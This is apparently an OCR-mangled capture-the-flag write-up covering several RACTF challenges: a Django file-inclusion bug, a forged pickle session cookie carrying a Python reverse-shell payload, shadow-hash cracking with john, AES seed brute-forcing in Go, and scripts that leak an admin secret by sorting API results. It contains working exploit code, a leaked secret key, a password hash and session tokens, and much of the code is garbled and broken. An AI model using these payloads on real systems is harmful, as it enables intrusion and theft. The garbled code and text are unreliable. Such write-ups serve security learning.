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urlpatterns =
: ( : in.site.urls)
path( admin.site.urls)
ath( iews.RegisterFormView.as
nath( vie RegisterFormView.a
path( include(
path( views,createLnDte
path( views.view_note
s

path( views.home = )
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form = NoteCreateForm( =request.user)

render (request { : form})

view_note(request: HttpRequest, pk: int) -> HttpResponse:
note = get_object_or_404(Note =pk)
text = note.body
include re.findall( text):
print(include)
file_name = os.path.join( re.sub( include))
open(file_name ) file:
text = text.replace(include baseb4.bb4encode(file.read()).decode(

render(request : note : text})
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& urls.py & Views.py a forms.py

No Python interpreter configured for the project

success_url =

home(request: HttpRequest) -> HttpResponse:
request.user.is_auvthenticated:
notes = Note.objects.filter( =request.user)
render(request { . request.user : notes})

render(request : request.user})

create_note(request: HttpRequest) -> HttpResponse:
request.method ==
form = NoteCreateForm(request.POST =request.user)
forpWs_valid():
fnstance = form.save()

HttpResponseRedirect( =reverse( : instanc

form = NoteCreateForm( =request.user)

render(request { : form})

view_note(request: HttpRequest, pk: int) -> HttpResponse:
note = get_object_or_404(Note =pk)

text = note.body




re.tindall(

print(include)
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Name: |asdasdsa

{..{/app/notebook/settings.py}..}
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e settings.py @ notebook__init__.py @ notes\_init__.py 2 admin.py @ apps.py & forms.py
No Python interpreter configured for the project
SESSION_ENGINE + 3O K

BASE_DIR = Path(__file__).resolve().parent.parent

SECRET_KEY =

SESSION_ENGINE =

SESSION_SERIALIZER
LOGIN_REDIRECT_URL
L@OUT_REDIRECT_URL =

hitps://blog.csdn.net/solitudi

from django.core.signing import TimestampSigner, b64_encode
from django.utils.encoding import force_bytes

import pickle

import os

import requests

class PickleRCE(object):
def _ reduce_ (self):
return (os.system, (f"""python -c 'import socket,subprocess;s=socket.socket(socket.AF INET,socket.SOCK ST
REAM) ; s.connect ( ("xxxxx",xxxxx));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fi

leno())"""",))
SECRET_KEY 'wrBQcZHs4~}EyU(m] " F_SL~BjnkH7" (S3xv, {sp)Xaqg?2pj2=hFCgN"CR"UPn4"

def rotten_cookie():
key = force_bytes(SECRET_KEY)
salt 'django.contrib.sessions.backends.signed_cookies'
base64d b64_encode(pickle.dumps(PickleRCE())).decode()
return TimestampSigner(key, salt=salt).sign(base64d)

forge_sessionid rotten_cookie()
requests.get('http://xxxxx"', cookies={'sessionid':forge_sessionid})

RINET, (HATRERP, Hjohn
HTHE & 3R1S /etc/passwd 5 /etc/shadow HLTHIN BLI1) A 25

admin:$6$.hRHWi.1sTIH1VoB$3VqqpM. sBO7xD/mh91WAsJIJ.HrBwbGLgghai6RAGNbG1RBbOOFUFiSVhjM6Gi90OWCVX.OLM350B2EeZYZoZLt/
:18856:0:99999:7: ::
admin:x:1000:1001::/home/admin:/bin/bash




S -
rootakali:~/£@E# john —show 1111
admin:999999:18856:0:99999:7 :::

1 password hash cracked, @ left
rootakali:~/£ @& # |J

/bin/sh: 0: can't access tty; job control turned off
£ 1s
db.sglite3

docker-compose.yml

emo]i

emoji.json
entrypoint.sh
manage.py
notebook

notes
requirements.txt
templates

$ su admin
Password:

cat /flag.txt
ractf{dj4ng0 1fi rce not unintended} ittps://blog.csdn.ne

=
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func main() {
log.Println("Challenge starting up")
http.HandleFunc("/", handler)

go changer()

log.Fatal(http.ListenAndServe(":80", nil))

}
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func changer() {

ticker time.NewTicker(time.Millisecond 672).C

for range ticker {
rand.Seed(time.Now().UnixNano() Ox7FFFFFFFFEFFF000)
for i 0; i rand.Intn(32); i {
rand.Seed(rand.Int63())
}

var key []byte
var iv []byte

for i 0; i 32; i {

key append(key, byte(rand.Intn(255)))
!

J

for i 0; i aes.BlockSize; i {
iv append(iv, byte(rand.Intn(255)))
)i

flagmu.Lock()
flag = encrypt(rawFlag, key, iv, aes.BlockSize)
flagmu.Unlock()

}

}
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"crypto/aes"”
"crypto/cipher"
"encoding/hex"
"fmt"
"math/rand"

"strings"

ctext, err hex.DecodeString(string("4d069b65825fce7299c¢33239e993cea7525a7799e7cdcd04a42185129d221146"))
if err nil {
panic(err)

}

i int64(0)

for i < 16781311 {

rand.Seed (i)

for j 0; J rand.Intn(32); j
rand.Seed(rand.Int63())

)i

var key []byte

var iv []byte

for j 9; j 32; j {
key append(key, byte(rand.Intn(255)))
)i

for j 9; J aes.BlockSize; j {
iv append(iv, byte(rand.Intn(255)))
bj

block, err aes.NewCipher(key)
if err nil {
panic(err)
s
mode cipher.NewCBCDecrypter(block, iv)
out make ([ ]byte, len(ctext))

mode.CryptBlocks(out, ctext)

if strings.HasPrefix(string(out), "ractf") {
fmt.Println(string(out))
return

}

if i 4095 {
i 16777216
} else {
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You are not logged in

Log_In Register

HRHATER

GET v http://42.192.137.212:1236/api/secret/?ordering=value m

Params @ Authorization Headers (8) Boc Pre-request Script Tests Settings Coao
Headers 6 hidden
KEY VALUE DESCRIPTION eee  Bulk Edit Preset
Cookie serverType=nginx; pro_end=-1; ltd_end=-1; ...
Body Cookies Headers (10) Test Results @ 2000k 1078ms 496B Save Respons
Pretty Raw Preview Visualize JSON ~ = m
1 L
2 1
3 "id": 1,
4 "owner": 1,
5 "last_updated": "2021-08-84T21:55:59.750611Z",
6 "created": "2021-08-84T21:55:32.221867Z"
7 i,
8 d

Ne)
;
[=]
8

[
@

"owner": 2,
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OrderingFilter

The orderingFilter class supports simple query parameter controlled ordering of results.

Ordering

username - ascending v

username - descending
email - ascending

email - descending

pd

By default, the query parameter is named ' BFderang’ , but this may by overridden with the ORDERING ParaM setting.

For example, to order users by username:

http://example.com/api/users?ordering=username

The client may also specify reverse orderings by prefixing the field name with ', like so:
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import requests

flag "ractf{data_exfll _via_sOrtlng_0Oc66de4"
csrf_token "VnXhXgOFMVRWz2vehomqV3anJYOUk4hbTIvkYYtQHVVMKOKuRsz2od5phkZsFJCa"
session_id "jzbw@lpna3dghl208pobtjmyd4t2at600"

headers {
"Cookie": f"csrftoken={csrf_token}; sessionid={session_id}",
"X-CSRFToken": csrf_token
}
our_secret_id p)
def getFlag(tmp):
for i in range(50, 127):
payload = tmp chr(i)
json_payload = {
"value": payload
}
r requests.post("http://xxxx/api/secret/", data=json_payload, headers=headers)
r requests.get("http://xxx/api/secret/?ordering=value", headers=headers)
secrets r.json()
print(secrets)
if secrets[0]['id"]
return chr(i 1)
return chr(i-1)

while True:
next_char = getFlag(flag)
flag next_char
print('[+] Flag:', flag)
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import requests

session_id "srkhllpetllqvlp4z3dn7i85t5tpfu5e”
csrf_token "vbpYES1FUurRo19bB5mmUWZ3hN9Vh7nKk310sUEHAVB8efs90t61sKrDZmeEo®FD"
url "http://127.0.0.1:8000/api/secret/"

requests.Session()
.cookies["sessionid"] session_id
.cookies["csrftoken"] csrf_token
.headers["X-CSRFToken" ] csrf_token

def set secret(secret)
response s.post(url, json={
"value": secret
}).json()
global id
id response[ 'id"']

get_position_difference()

response = s.get(url "?ordering=value").json()
our_position (%]

admin_position

i=20




for x in response
if x["id"] 1
admin_position
elif x["id"] id
our_position
i 1

return admin_position our_position

get_character(current)
min 32
max 127
while min max
mid (max+min)//2
set_secret(current+chr(mid))
print(f"trying {chr(mid)}")
diff = get_position_difference()
if chr(mid) "
print("diff", diff)
if diff > o
min mid
else
max mid
if abs(max - min) 1
set_secret(current chr(mid) ")
low = get_position_difference()
set_secret(current chr(mid) ")
high = get_position_difference()
print(f"{low >= high} {min} {mid} {max} {low} {high}")
#return mid
if low high
return min
elif high low
return max

return max

nyn
char = chr(get_character(secret))

secret char
print(char)

print(secret)
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